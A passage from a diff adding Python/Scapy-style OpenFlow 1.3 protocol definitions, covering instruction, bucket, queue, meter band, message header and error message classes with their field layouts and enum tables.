+                    XIntField("pad", 0) ]
+
+class OFPITMeter(_ofp_instruction_header):
+    name = "OFPIT_METER"
+    fields_desc = [ ShortEnumField("type", 6, ofp_instruction_types),
+                    ShortField("len", 8),
+                    IntEnumField("meter_id", 1, ofp_meter) ]
+
+class OFPITExperimenter(_ofp_instruction_header):
+    name = "OFPIT_EXPERIMENTER"
+    fields_desc = [ ShortEnumField("type", 65535, ofp_instruction_types),
+                    ShortField("len", None),
+                    IntField("experimenter", 0) ]
+
+ofp_instruction_cls = {     1: OFPITGotoTable,
+                            2: OFPITWriteMetadata,
+                            3: OFPITWriteActions,
+                            4: OFPITApplyActions,
+                            5: OFPITClearActions,
+                            6: OFPITMeter,
+                        65535: OFPITExperimenter }
+
+class InstructionPacketListField(PacketListField):
+    def m2i(self, pkt, s):
+        t = struct.unpack("!H", s[:2])[0]
+        return ofp_instruction_cls.get(t, Raw)(s)
+
+    @staticmethod
+    def _get_instruction_length(s):
+        return struct.unpack("!H", s[2:4])[0]
+
+    def getfield(self, pkt, s):
+        lst = []
+        remain = s
+
+        while remain and len(remain) > 4:
+            l = InstructionPacketListField._get_instruction_length(remain)
+            if l < 8 or len(remain) < l:
+            # length should be at least 8 (non-zero, 64-bit aligned),
+            # and no incoherent length
+                break
+            current = remain[:l]
+            remain = remain[l:]
+            p = self.m2i(pkt, current)
+            lst.append(p)
+
+        return remain, lst
+
+
+################## Instruction IDs ##################
+
+# length is computed as in instruction structures,
+# so we reuse _ofp_instruction_header
+
+class OFPITGotoTableID(_ofp_instruction_header):
+    name = "OFPIT_GOTO_TABLE"
+    fields_desc = [ ShortEnumField("type", 1, ofp_instruction_types),
+                    ShortField("len", 4) ]
+
+class OFPITWriteMetadataID(_ofp_instruction_header):
+    name = "OFPIT_WRITE_METADATA"
+    fields_desc = [ ShortEnumField("type", 2, ofp_instruction_types),
+                    ShortField("len", 4) ]
+
+class OFPITWriteActionsID(_ofp_instruction_header):
+    name = "OFPIT_WRITE_ACTIONS"
+    fields_desc = [ ShortEnumField("type", 3, ofp_instruction_types),
+                    ShortField("len", 4) ]
+
+class OFPITApplyActionsID(_ofp_instruction_header):
+    name = "OFPIT_APPLY_ACTIONS"
+    fields_desc = [ ShortEnumField("type", 4, ofp_instruction_types),
+                    ShortField("len", 4) ]
+
+class OFPITClearActionsID(_ofp_instruction_header):
+    name = "OFPIT_CLEAR_ACTIONS"
+    fields_desc = [ ShortEnumField("type", 5, ofp_instruction_types),
+                    ShortField("len", 4) ]
+
+class OFPITMeterID(_ofp_instruction_header):
+    name = "OFPIT_METER"
+    fields_desc = [ ShortEnumField("type", 6, ofp_instruction_types),
+                    ShortField("len", 4) ]
+
+class OFPITExperimenterID(_ofp_instruction_header):
+    name = "OFPIT_EXPERIMENTER"
+    fields_desc = [ ShortEnumField("type", 65535, ofp_instruction_types),
+                    ShortField("len", None) ]
+
+ofp_instruction_id_cls = {     1: OFPITGotoTableID,
+                               2: OFPITWriteMetadataID,
+                               3: OFPITWriteActionsID,
+                               4: OFPITApplyActionsID,
+                               5: OFPITClearActionsID,
+                               6: OFPITMeterID,
+                           65535: OFPITExperimenterID }
+
+class InstructionIDPacketListField(PacketListField):
+    def m2i(self, pkt, s):
+        t = struct.unpack("!H", s[:2])[0]
+        return ofp_instruction_cls.get(t, Raw)(s)
+
+    @staticmethod
+    def _get_instruction_id_length(s):
+        return struct.unpack("!H", s[2:4])[0]
+
+    def getfield(self, pkt, s):
+        lst = []
+        remain = s
+
+        while remain and len(remain) >= 4:
+            l = InstructionIDPacketListField._get_instruction_id_length(remain)
+            if l < 4 or len(remain) < l:
+            # length is 4 (may be more for experimenter messages),
+            # and no incoherent length
+                break
+            current = remain[:l]
+            remain = remain[l:]
+            p = self.m2i(pkt, current)
+            lst.append(p)
+
+        return remain, lst
+
+
+###################### Buckets ######################
+
+class OFPBucket(Packet):
+
+    def extract_padding(self, s):
+        return "", s
+
+    def post_build(self, p, pay):
+        if self.len is None:
+            l = len(p)+len(pay)
+            p = struct.pack("!H", l) + p[2:]
+        return p + pay
+
+    name = "OFP_BUCKET"
+    fields_desc = [ ShortField("len", None),
+                    ShortField("weight", 0),
+                    IntEnumField("watch_port", 0, ofp_port_no),
+                    IntEnumField("watch_group", 0, ofp_group),
+                    XIntField("pad", 0),
+                    ActionPacketListField("actions", [], Packet,
+                                          length_from=lambda pkt:pkt.len-16) ]
+
+class BucketPacketListField(PacketListField):
+
+    @staticmethod
+    def _get_bucket_length(s):
+        return struct.unpack("!H", s[:2])[0]
+
+    def getfield(self, pkt, s):
+        lst = []
+        remain = s
+
+        while remain:
+            l = BucketPacketListField._get_bucket_length(remain)
+            current = remain[:l]
+            remain = remain[l:]
+            p = OFPBucket(current)
+            lst.append(p)
+
+        return remain, lst
+
+
+####################### Queues ######################
+
+class _ofp_queue_property_header(Packet):
+    name = "Dummy OpenFlow Queue Property Header"
+
+    def post_build(self, p, pay):
+        if self.len is None:
+            l = len(p)+len(pay)
+            p = p[:2] + struct.pack("!H", l) + p[4:]
+        return p + pay
+
+ofp_queue_property_types = { 0: "OFPQT_NONE",
+                             1: "OFPQT_MIN_RATE" }
+
+class OFPQTNone(_ofp_queue_property_header):
+    name = "OFPQT_NONE"
+    fields_desc = [ ShortEnumField("type", 0, ofp_queue_property_types),
+                    ShortField("len", 8),
+                    XIntField("pad", 0) ]
+
+class OFPQTMinRate(_ofp_queue_property_header):
+    name = "OFPQT_MIN_RATE"
+    fields_desc = [ ShortEnumField("type", 1, ofp_queue_property_types),
+                    ShortField("len", 16),
+                    XIntField("pad1", 0),
+                    ShortField("rate", 0),
+                    XBitField("pad2", 0, 48) ]
+
+ofp_queue_property_cls = { 0: OFPQTNone,
+                           1: OFPQTMinRate }
+
+class QueuePropertyPacketListField(PacketListField):
+    def m2i(self, pkt, s):
+        t = struct.unpack("!H", s[:2])[0]
+        return ofp_queue_property_cls.get(t, Raw)(s)
+
+    @staticmethod
+    def _get_queue_property_length(s):
+        return struct.unpack("!H", s[2:4])[0]
+
+    def getfield(self, pkt, s):
+        lst = []
+        remain = s
+
+        while remain:
+            l = QueuePropertyPacketListField._get_queue_property_length(remain)
+            current = remain[:l]
+            remain = remain[l:]
+            p = self.m2i(pkt, current)
+            lst.append(p)
+
+        return remain, lst
+
+class OFPPacketQueue(Packet):
+
+    def extract_padding(self, s):
+        return "", s
+
+    def post_build(self, p, pay):
+        if self.properties == []:
+            p += raw(OFPQTNone())
+        if self.len is None:
+            l = len(p)+len(pay)
+            p = p[:4] + struct.pack("!H", l) + p[6:]
+        return p + pay
+
+    name = "OFP_PACKET_QUEUE"
+    fields_desc = [ IntEnumField("queue_id", 0, ofp_queue),
+                    ShortField("len", None),
+                    XShortField("pad", 0),
+                    QueuePropertyPacketListField("properties", [], Packet,
+                                                 length_from=lambda pkt:pkt.len-8) ]
+
+class QueuePacketListField(PacketListField):
+
+    @staticmethod
+    def _get_queue_length(s):
+        return struct.unpack("!H", s[4:6])[0]
+
+    def getfield(self, pkt, s):
+        lst = []
+        remain = s
+
+        while remain:
+            l = QueuePacketListField._get_queue_length(remain)
+            current = remain[:l]
+            remain = remain[l:]
+            p = OFPPacketQueue(current)
+            lst.append(p)
+
+        return remain, lst
+
+
+#################### Meter bands ####################
+
+ofp_meter_band_types = {     0: "OFPMBT_DROP",
+                             1: "OFPMBT_DSCP_REMARK",
+                         65535: "OFPMBT_EXPERIMENTER" }
+
+class OFPMBTDrop(Packet):
+    name = "OFPMBT_DROP"
+    fields_desc = [ ShortEnumField("type", 0, ofp_queue_property_types),
+                    ShortField("len", 16),
+                    IntField("rate", 0),
+                    IntField("burst_size", 0),
+                    XIntField("pad", 0) ]
+
+class OFPMBTDSCPRemark(Packet):
+    name = "OFPMBT_DSCP_REMARK"
+    fields_desc = [ ShortEnumField("type", 1, ofp_queue_property_types),
+                    ShortField("len", 16),
+                    IntField("rate", 0),
+                    IntField("burst_size", 0),
+                    ByteField("prec_level", 0),
+                    X3BytesField("pad", 0) ]
+
+class OFPMBTExperimenter(Packet):
+    name = "OFPMBT_EXPERIMENTER"
+    fields_desc = [ ShortEnumField("type", 65535, ofp_queue_property_types),
+                    ShortField("len", 16),
+                    IntField("rate", 0),
+                    IntField("burst_size", 0),
+                    IntField("experimenter", 0) ]
+
+ofp_meter_band_cls = { 0: OFPMBTDrop,
+                       1: OFPMBTDSCPRemark,
+                       2: OFPMBTExperimenter }
+
+class MeterBandPacketListField(PacketListField):
+    def m2i(self, pkt, s):
+        t = struct.unpack("!H", s[:2])[0]
+        return ofp_meter_band_cls.get(t, Raw)(s)
+
+    def getfield(self, pkt, s):
+        lst = []
+        remain = s
+
+        while remain:
+            current = remain[:16]
+            remain = remain[16:]
+            p = self.m2i(pkt, current)
+            lst.append(p)
+
+        return remain, lst
+
+
+#####################################################
+############## OpenFlow 1.3 Messages ################
+#####################################################
+
+ofp_version = { 0x01: "OpenFlow 1.0",
+                0x02: "OpenFlow 1.1",
+                0x03: "OpenFlow 1.2",
+                0x04: "OpenFlow 1.3",
+                0x05: "OpenFlow 1.4" }
+
+ofp_type = {  0: "OFPT_HELLO",
+              1: "OFPT_ERROR",
+              2: "OFPT_ECHO_REQUEST",
+              3: "OFPT_ECHO_REPLY",
+              4: "OFPT_EXPERIMENTER",
+              5: "OFPT_FEATURES_REQUEST",
+              6: "OFPT_FEATURES_REPLY",
+              7: "OFPT_GET_CONFIG_REQUEST",
+              8: "OFPT_GET_CONFIG_REPLY",
+              9: "OFPT_SET_CONFIG",
+             10: "OFPT_PACKET_IN",
+             11: "OFPT_FLOW_REMOVED",
+             12: "OFPT_PORT_STATUS",
+             13: "OFPT_PACKET_OUT",
+             14: "OFPT_FLOW_MOD",
+             15: "OFPT_GROUP_MOD",
+             16: "OFPT_PORT_MOD",
+             17: "OFPT_TABLE_MOD",
+             18: "OFPT_MULTIPART_REQUEST",
+             19: "OFPT_MULTIPART_REPLY",
+             20: "OFPT_BARRIER_REQUEST",
+             21: "OFPT_BARRIER_REPLY",
+             22: "OFPT_QUEUE_GET_CONFIG_REQUEST",
+             23: "OFPT_QUEUE_GET_CONFIG_REPLY",
+             24: "OFPT_ROLE_REQUEST",
+             25: "OFPT_ROLE_REPLY",
+             26: "OFPT_GET_ASYNC_REQUEST",
+             27: "OFPT_GET_ASYNC_REPLY",
+             28: "OFPT_SET_ASYNC",
+             29: "OFPT_METER_MOD" }
+
+class _ofp_header(Packet):
+    name = "Dummy OpenFlow Header"
+
+    def post_build(self, p, pay):
+        if self.len is None:
+            l = len(p)+len(pay)
+            p = p[:2] + struct.pack("!H", l) + p[4:]
+        return p + pay
+
+class OFPTHello(_ofp_header):
+    name = "OFPT_HELLO"
+    fields_desc = [ ByteEnumField("version", 0x04, ofp_version),
+                    ByteEnumField("type", 0, ofp_type),
+                    ShortField("len", None),
+                    IntField("xid", 0),
+                    HelloElemPacketListField("elements", [], Packet,
+                                             length_from=lambda pkt:pkt.len-32) ]
+    overload_fields = {TCP: {"sport": 6653}}
+
+#####################################################
+##################### OFPT_ERROR ####################
+#####################################################
+
+### this class will be used to display some messages
+### sent back by the switch after an error
+class OFPacketField(PacketField):
+    def getfield(self, pkt, s):
+        try:
+            l = s[2:4]
+            l = struct.unpack("!H", l)[0]
+            ofload = s[:l]
+            remain = s[l:]
+            return remain, OpenFlow(None, ofload)(ofload)
+        except:
+            return b"", Raw(s)
+
+ofp_error_type = {     0: "OFPET_HELLO_FAILED",
+                       1: "OFPET_BAD_REQUEST",
+                       2: "OFPET_BAD_ACTION",
+                       3: "OFPET_BAD_INSTRUCTION",
+                       4: "OFPET_BAD_MATCH",
+                       5: "OFPET_FLOW_MOD_FAILED",
+                       6: "OFPET_GROUP_MOD_FAILED",
+                       7: "OFPET_PORT_MOD_FAILED",
+                       8: "OFPET_TABLE_MOD_FAILED",
+                       9: "OFPET_QUEUE_OP_FAILED",
+                      10: "OFPET_SWITCH_CONFIG_FAILED",
+                      11: "OFPET_ROLE_REQUEST_FAILED",
+                      12: "OFPET_METER_MOD_FAILED",
+                      13: "OFPET_TABLE_FEATURES_FAILED",
+                   65535: "OFPET_EXPERIMENTER" }
+
+class OFPETHelloFailed(_ofp_header):
+    name = "OFPET_HELLO_FAILED"
+    fields_desc = [ ByteEnumField("version", 0x04, ofp_version),
+                    ByteEnumField("type", 1, ofp_type),
+                    ShortField("len", None),
+                    IntField("xid", 0),
+                    ShortEnumField("errtype", 0, ofp_error_type),
+                    ShortEnumField("errcode", 0, { 0: "OFPHFC_INCOMPATIBLE",
+                                                   1: "OFPHFC_EPERM" }),
+                    OFPacketField("data", "", Raw) ]
+    overload_fields = {TCP: {"dport": 6653}}
+
+class OFPETBadRequest(_ofp_header):
+    name = "OFPET_BAD_REQUEST"
+    fields_desc = [ ByteEnumField("version", 0x04, ofp_version),
+                    ByteEnumField("type", 1, ofp_type),
+                    ShortField("len", None),
+                    IntField("xid", 0),
+                    ShortEnumField("errtype", 1, ofp_error_type),
+                    ShortEnumField("errcode", 0, {  0: "OFPBRC_BAD_VERSION",
+                                                    1: "OFPBRC_BAD_TYPE",
+                                                    2: "OFPBRC_BAD_MULTIPART",
+                                                    3: "OFPBRC_BAD_EXPERIMENTER",
+                                                    4: "OFPBRC_BAD_EXP_TYPE",
+                                                    5: "OFPBRC_EPERM",
+                                                    6: "OFPBRC_BAD_LEN",
+                                                    7: "OFPBRC_BUFFER_EMPTY",
+                                                    8: "OFPBRC_BUFFER_UNKNOWN",
+                                                    9: "OFPBRC_BAD_TABLE_ID",
+                                                   10: "OFPBRC_IS_SLAVE",
+                                                   11: "OFPBRC_BAD_PORT",
+                                                   12: "OFPBRC_BAD_PACKET",
+                                                   13: "OFPBRC_MULTIPART_BUFFER_OVERFLOW" }),
+                    OFPacketField("data", "", Raw) ]
+    overload_fields = {TCP: {"dport": 6653}}
+
+class OFPETBadAction(_ofp_header):
+    name = "OFPET_BAD_ACTION"
+    fields_desc = [ ByteEnumField("version", 0x04, ofp_version),
+                    ByteEnumField("type", 1, ofp_type),
+                    ShortField("len", None),
+                    IntField("xid", 0),
+                    ShortEnumField("errtype", 2, ofp_error_type),
+                    ShortEnumField("errcode", 0, {  0: "OFPBAC_BAD_TYPE",
+                                                    1: "OFPBAC_BAD_LEN",
+                                                    2: "OFPBAC_BAD_EXPERIMENTER",
+                                                    3: "OFPBAC_BAD_EXP_TYPE",
+                                                    4: "OFPBAC_BAD_OUT_PORT",
+                                                    5: "OFPBAC_BAD_ARGUMENT",
+                                                    6: "OFPBAC_EPERM",
+                                                    7: "OFPBAC_TOO_MANY",
+                                                    8: "OFPBAC_BAD_QUEUE",
+                                                    9: "OFPBAC_BAD_OUT_GROUP",
+                                                   10: "OFPBAC_MATCH_INCONSISTENT",
+                                                   11: "OFPBAC_UNSUPPORTED_ORDER",
+                                                   12: "OFPBAC_BAD_TAG",
+                                                   13: "OFPBAC_BAD_SET_TYPE",
+                                                   14: "OFPBAC_BAD_SET_LEN",
+                                                   15: "OFPBAC_BAD_SET_ARGUMENT" }),
+                    OFPacketField("data", "", Raw) ]
+    overload_fields = {TCP: {"dport": 6653}}
+
+class OFPETBadInstruction(_ofp_header):
+    name = "OFPET_BAD_INSTRUCTION"
+    fields_desc = [ ByteEnumField("version", 0x04, ofp_version),
+                    ByteEnumField("type", 1, ofp_type),
+                    ShortField("len", None),
+                    IntField("xid", 0),
+                    ShortEnumField("errtype", 3, ofp_error_type),
+                    ShortEnumField("errcode", 0, { 0: "OFPBIC_UNKNOWN_INST",
+                                                   1: "OFPBIC_UNSUP_INST",
+                                                   2: "OFPBIC_BAD_TABLE_ID",
+                                                   3: "OFPBIC_UNSUP_METADATA",
+                                                   4: "OFPBIC_UNSUP_METADATA_MASK",
+                                                   5: "OFPBIC_BAD_EXPERIMENTER",
+                                                   6: "OFPBIC_BAD_EXP_TYPE",
+                                                   7: "OFPBIC_BAD_LEN",
+                                                   8: "OFPBIC_EPERM" }),
+                    OFPacketField("data", "", Raw) ]
+    overload_fields = {TCP: {"dport": 6653}}
+
+class OFPETBadMatch(_ofp_header):
+    name = "OFPET_BAD_MATCH"
+    fields_desc = [ ByteEnumField("version", 0x04, ofp_version),
+                    ByteEnumField("type", 1, ofp_type),
+                    ShortField("len", None),
+                    IntField("xid", 0),
+                    ShortEnumField("errtype", 4, ofp_error_type),
+                    ShortEnumField("errcode", 0, {  0: "OFPBMC_BAD_TYPE",
+                                                    1: "OFPBMC_BAD_LEN",
+                                                    2: "OFPBMC_BAD_TAG",
+                                                    3: "OFPBMC_BAD_DL_ADDR_MASK",
+                                                    4: "OFPBMC_BAD_NW_ADDR_MASK",
+                                                    5: "OFPBMC_BAD_WILDCARDS",
+                                                    6: "OFPBMC_BAD_FIELD",
+                                                    7: "OFPBMC_BAD_VALUE",
+                                                    8: "OFPBMC_BAD_MASK",
+                                                    9: "OFPBMC_BAD_PREREQ",
+                                                   10: "OFPBMC_DUP_FIELD",
+                                                   11: "OFPBMC_EPERM" }),
+                    OFPacketField("data", "", Raw) ]
+    overload_fields = {TCP: {"dport": 6653}}
+
+class OFPETFlowModFailed(_ofp_header):
+    name = "OFPET_FLOW_MOD_FAILED"
+    fields_desc = [ ByteEnumField("version", 0x04, ofp_version),
+                    ByteEnumField("type", 1, ofp_type),
+                    ShortField("len", None),
+                    IntField("xid", 0),
+                    ShortEnumField("errtype", 5, ofp_error_type),
+                    ShortEnumField("errcode", 0, { 0: "OFPFMFC_UNKNOWN",
+                                                   1: "OFPFMFC_TABLE_FULL",
+                                                   2: "OFPFMFC_BAD_TABLE_ID",
+                                                   3: "OFPFMFC_OVERLAP",
+                                                   4: "OFPFMFC_EPERM",
+                                                   5: "OFPFMFC_BAD_TIMEOUT",
+                                                   6: "OFPFMFC_BAD_COMMAND",
+                                                   7: "OFPFMFC_BAD_FLAGS" }),
+                    OFPacketField("data", "", Raw) ]
+    overload_fields = {TCP: {"dport": 6653}}
+
+class OFPETGroupModFailed(_ofp_header):
+    name = "OFPET_GROUP_MOD_FAILED"
+    fields_desc = [ ByteEnumField("version", 0x04, ofp_version),
+                    ByteEnumField("type", 1, ofp_type),
+                    ShortField("len", None),
+                    IntField("xid", 0),
+                    ShortEnumField("errtype", 6, ofp_error_type),
+                    ShortEnumField("errcode", 0, {  0: "OFPGMFC_GROUP_EXISTS",
+                                                    1: "OFPGMFC_INVALID_GROUP",
+                                                    2: "OFPGMFC_WEIGHT_UNSUPPORTED",
+                                                    3: "OFPGMFC_OUT_OF_GROUPS",
+                                                    4: "OFPGMFC_OUT_OF_BUCKETS",
+                                                    5: "OFPGMFC_CHAINING_UNSUPPORTED",
+                                                    6: "OFPGMFC_WATCH_UNSUPPORTED",
+                                                    7: "OFPGMFC_LOOP",
+                                                    8: "OFPGMFC_UNKNOWN_GROUP",
+                                                    9: "OFPGMFC_CHAINED_GROUP",
+                                                   10: "OFPGMFC_BAD_TYPE",
+                                                   11: "OFPGMFC_BAD_COMMAND",
+                                                   12: "OFPGMFC_BAD_BUCKET",
+                                                   13: "OFPGMFC_BAD_WATCH",
+                                                   14: "OFPFMFC_EPERM" }),
+                    OFPacketField("data", "", Raw) ]
+    overload_fields = {TCP: {"dport": 6653}}
+
+class OFPETPortModFailed(_ofp_header):
+    name = "OFPET_PORT_MOD_FAILED"
+    fields_desc = [ ByteEnumField("version", 0x04, ofp_version),
+                    ByteEnumField("type", 1, ofp_type),
+                    ShortField("len", None),
+                    IntField("xid", 0),
+                    ShortEnumField("errtype", 7, ofp_error_type),
+                    ShortEnumField("errcode", 0, { 0: "OFPPMFC_BAD_PORT",
+                                                   1: "OFPPMFC_BAD_HW_ADDR",
+                                                   2: "OFPPMFC_BAD_CONFIG",
+                                                   3: "OFPPMFC_BAD_ADVERTISE",
+                                                   4: "OFPPMFC_EPERM" }),
+                    OFPacketField("data", "", Raw) ]
+    overload_fields = {TCP: {"dport": 6653}}
+
+class OFPETTableModFailed(_ofp_header):
+    name = "OFPET_TABLE_MOD_FAILED"
+    fields_desc = [ ByteEnumField("version", 0x04, ofp_version),
+                    ByteEnumField("type", 1, ofp_type),
+                    ShortField("len", None),
+                    IntField("xid", 0),
+                    ShortEnumField("errtype", 8, ofp_error_type),
+                    ShortEnumField("errcode", 0, { 0: "OFPTMFC_BAD_TABLE",
+                                                   1: "OFPTMFC_BAD_CONFIG",
+                                                   2: "OFPTMFC_EPERM" }),
+                    OFPacketField("data", "", Raw) ]
+    overload_fields = {TCP: {"dport": 6653}}
+
+class OFPETQueueOpFailed(_ofp_header):
+    name = "OFPET_QUEUE_OP_FAILED"
+    fields_desc = [ ByteEnumField("version", 0x04, ofp_version),
+                    ByteEnumField("type", 1, ofp_type),
+                    ShortField("len", None),
+                    IntField("xid", 0),
+                    ShortEnumField("errtype", 9, ofp_error_type),
+                    ShortEnumField("errcode", 0, { 0: "OFPQOFC_BAD_PORT",
+                                                   1: "OFPQOFC_BAD_QUEUE",
+                                                   2: "OFPQOFC_EPERM" }),
+                    OFPacketField("data", "", Raw) ]
+    overload_fields = {TCP: {"dport": 6653}}
+
+class OFPETSwitchConfigFailed(_ofp_header):
+    name = "OFPET_SWITCH_CONFIG_FAILED"
+    fields_desc = [ ByteEnumField("version", 0x04, ofp_version),
+                    ByteEnumField("type", 1, ofp_type),
+                    ShortField("len", None),
+                    IntField("xid", 0),
+                    ShortEnumField("errtype", 10, ofp_error_type),
+                    ShortEnumField("errcode", 0, { 0: "OFPSCFC_BAD_FLAGS",
+                                                   1: "OFPSCFC_BAD_LEN",
+                                                   2: "OFPSCFC_EPERM" }),
+                    OFPacketField("data", "", Raw) ]
+    overload_fields = {TCP: {"dport": 6653}}
+
+class OFPETRoleRequestFailed(_ofp_header):
+    name = "OFPET_ROLE_REQUEST_FAILED"
+    fields_desc = [ ByteEnumField("version", 0x04, ofp_version),
+                    ByteEnumField("type", 1, ofp_type),
+                    ShortField("len", None),
+                    IntField("xid", 0),
+                    ShortEnumField("errtype", 11, ofp_error_type),
+                    ShortEnumField("errcode", 0, { 0: "OFPRRFC_STALE",
+                                                   1: "OFPRRFC_UNSUP",
+                                                   2: "OFPRRFC_BAD_ROLE" }),
+                    OFPacketField("data", "", Raw) ]
+    overload_fields = {TCP: {"dport": 6653}}
+
+class OFPETMeterModFailed(_ofp_header):
+    name = "OFPET_METER_MOD_FAILED"
+    fields_desc = [ ByteEnumField("version", 0x04, ofp_version),
+                    ByteEnumField("type", 1, ofp_type),
+                    ShortField("len", None),
+                    IntField("xid", 0),
+                    ShortEnumField("errtype", 12, ofp_error_type),
+                    ShortEnumField("errcode", 0, {  0: "OFPMMFC_UNKNOWN",
+                                                    1: "OFPMMFC_METER_EXISTS",
+                                                    2: "OFPMMFC_INVALID_METER",
+                                                    3: "OFPMMFC_UNKNOWN_METER",
+                                                    4: "OFPMMFC_BAD_COMMAND",
+                                                    5: "OFPMMFC_BAD_FLAGS",
+                                                    6: "OFPMMFC_BAD_RATE",
+                                                    7: "OFPMMFC_BAD_BURST",
+                                                    8: "OFPMMFC_BAD_BAND",
+                                                    9: "OFPMMFC_BAD_BAND_VALUE",
+                                                   10: "OFPMMFC_OUT_OF_METERS",
+                                                   11: "OFPMMFC_OUT_OF_BANDS" }),
+                    OFPacketField("data", "", Raw) ]
+    overload_fields = {TCP: {"dport": 6653}}
+
+class OFPETTableFeaturesFailed(_ofp_header):
+    name = "OFPET_TABLE_FEATURES_FAILED"
+    fields_desc = [ ByteEnumField("version", 0x04, ofp_version),
+                    ByteEnumField("type", 1, ofp_type),
+                    ShortField("len", None),
+                    IntField("xid", 0),
+                    ShortEnumField("errtype", 13, ofp_error_type),
+                    ShortEnumField("errcode", 0, { 0: "OFPTFFC_BAD_TABLE",
+                                                   1: "OFPTFFC_BAD_METADATA",
+                                                   2: "OFPTFFC_BAD_TYPE",
+                                                   3: "OFPTFFC_BAD_LEN",
+                                                   4: "OFPTFFC_BAD_ARGUMENT",
+                                                   5: "OFPTFFC_EPERM" }),
+                    OFPacketField("data", "", Raw) ]
+    overload_fields = {TCP: {"dport": 6653}}
+
+class OFPETExperimenter(_ofp_header):
+    name = "OFPET_EXPERIMENTER"
+    fields_desc = [ ByteEnumField("version", 0x04, ofp_version),
+                    ByteEnumField("type", 1, ofp_type),
+                    ShortField("len", None),
+                    IntField("xid", 0),
+                    ShortEnumField("errtype", "OFPET_EXPERIMENTER", ofp_error_type),
+                    ShortField("exp_type", None),
+                    IntField("experimenter", None),
+                    OFPacketField("data", "", Raw) ]
+    overload_fields = {TCP: {"dport": 6653}}
+
+# ofp_error_cls allows generic method OpenFlow()
+# to choose the right class for dissection
+ofp_error_cls = {     0: OFPETHelloFailed,
+                      1: OFPETBadRequest,
+                      2: OFPETBadAction,
+                      3: OFPETBadInstruction,
+                      4: OFPETBadMatch,
+                      5: OFPETFlowModFailed,
+                      6: OFPETGroupModFailed,
+                      7: OFPETPortModFailed,
+                      8: OFPETTableModFailed,
+                      9: OFPETQueueOpFailed,
+                     10: OFPETSwitchConfigFailed,
+                     11: OFPETRoleRequestFailed,
+                     12: OFPETMeterModFailed,
+                     13: OFPETTableFeaturesFailed,
+                  65535: OFPETExperimenter }
+
+################ end of OFPT_ERRORS #################
+
+class OFPTEchoRequest(_ofp_header):
+    name = "OFPT_ECHO_REQUEST"
+    fields_desc = [ ByteEnumField("version", 0x04, ofp_version),
+                    ByteEnumField("type", 2, ofp_type),
+                    ShortField("len", None),
+                    IntField("xid", 0) ]
+    overload_fields = {TCP: {"sport": 6653}}
+
+class OFPTEchoReply(_ofp_header):
+    name = "OFPT_ECHO_REPLY"
+    fields_desc = [ ByteEnumField("version", 0x04, ofp_version),
+                    ByteEnumField("type", 3, ofp_type),
+                    ShortField("len", None),
+                    IntField("xid", 0) ]
+    overload_fields = {TCP: {"sport": 6653}}
+
+class OFPTExperimenter(_ofp_header):
+    name = "OFPT_EXPERIMENTER"
+    fields_desc = [ ByteEnumField("version", 0x04, ofp_version),
+                    ByteEnumField("type", 4, ofp_type),
+                    ShortField("len", None),
+                    IntField("xid", 0),
+                    IntField("experimenter", 0),
+                    IntField("exp_type", 0) ]
+    overload_fields = {TCP: {"sport": 6653}}
+
+class OFPTFeaturesRequest(_ofp_header):
+    name = "OFPT_FEATURES_REQUEST"
+    fields_desc = [ ByteEnumField("version", 0x04, ofp_version),
+                    ByteEnumField("type", 5, ofp_type),
+                    ShortField("len", None),
+                    IntField("xid", 0) ]
+    overload_fields = {TCP: {"sport": 6653}}
+
+class OFPTFeaturesReply(_ofp_header):
+    name = "OFPT_FEATURES_REPLY"
+    fields_desc = [ ByteEnumField("version", 0x04, ofp_version),
+                    ByteEnumField("type", 6, ofp_type),
+                    ShortField("len", None),
+                    IntField("xid", 0),
+                    LongField("datapath_id", 0),
+                    IntField("n_buffers", 0),
+                    ByteField("n_tables", 1),
+                    ByteField("auxiliary_id", 0),
+                    XShortField("pad", 0),
+                    FlagsField("capabilities", 0, 32, [ "FLOW_STATS",
+                                                        "TABLE_STATS",
+                                                        "PORT_STATS",
+                                                        "GROUP_STATS",
+                                                        "RESERVED",       #undefined
+                                                        "IP_REASM",
+                                                        "QUEUE_STATS",
+                                                        "ARP_MATCH_IP",   #undefined
+                                                        "PORT_BLOCKED"]),
+                    IntField("reserved", 0) ]
+    overload_fields = {TCP: {"dport": 6653}}
+
+class OFPTGetConfigRequest(_ofp_header):
+    name = "OFPT_GET_CONFIG_REQUEST"
+    fields_desc = [ ByteEnumField("version", 0x04, ofp_version),
+                    ByteEnumField("type", 7, ofp_type),
+                    ShortField("len", None),
+                    IntField("xid", 0) ]
+    overload_fields = {TCP: {"sport": 6653}}
+
+class OFPTGetConfigReply(_ofp_header):
+    name = "OFPT_GET_CONFIG_REPLY"
+    fields_desc = [ ByteEnumField("version", 0x04, ofp_version),
+                    ByteEnumField("type", 8, ofp_type),
+                    ShortField("len", None),
+                    IntField("xid", 0),
+                    ShortEnumField("flags", 0, { 0: "FRAG_NORMAL",
+                                                 1: "FRAG_DROP",
+                                                 2: "FRAG_REASM",
+                                                 3: "FRAG_MASK" }),
+                    ShortField("miss_send_len", 0) ]
+    overload_fields = {TCP: {"dport": 6653}}
+
+class OFPTSetConfig(_ofp_header):
+    name = "OFPT_SET_CONFIG"
+    fields_desc = [ ByteEnumField("version", 0x04, ofp_version),
+                    ByteEnumField("type", 9, ofp_type),
+                    ShortField("len", None),
+                    IntField("xid", 0),
+                    ShortEnumField("flags", 0, { 0: "FRAG_NORMAL",
+                                                 1: "FRAG_DROP",
+                                                 2: "FRAG_REASM",
+                                                 3: "FRAG_MASK" }),
+                    ShortField("miss_send_len", 128) ]
+    overload_fields = {TCP: {"sport": 6653}}
+
+class OFPTPacketIn(_ofp_header):
+    name = "OFPT_PACKET_IN"
+    fields_desc = [ ByteEnumField("version", 0x04, ofp_version),
+                    ByteEnumField("type", 10, ofp_type),
+                    ShortField("len", None),
+                    IntField("xid", 0),
+                    IntEnumField("buffer_id", "NO_BUFFER", ofp_buffer),
+                    ShortField("total_len", 0),
+                    ByteEnumField("reason", 0, { 0: "OFPR_NO_MATCH",
+                                                 1: "OFPR_ACTION",
+                                                 2: "OFPR_INVALID_TTL"}),
+                    ByteEnumField("table_id", 0, ofp_table),
+                    LongField("cookie", 0),
+                    MatchField("match"),
+                    XShortField("pad", 0),
+                    PacketField("data", "", Ether) ]
+    overload_fields = {TCP: {"dport": 6653}}
+
+class OFPTFlowRemoved(_ofp_header):
+    name = "OFPT_FLOW_REMOVED"
+    fields_desc = [ ByteEnumField("version", 0x04, ofp_version),
+                    ByteEnumField("type", 11, ofp_type),
+                    ShortField("len", None),
+                    IntField("xid", 0),
+                    LongField("cookie", 0),
+                    ShortField("priority", 0),
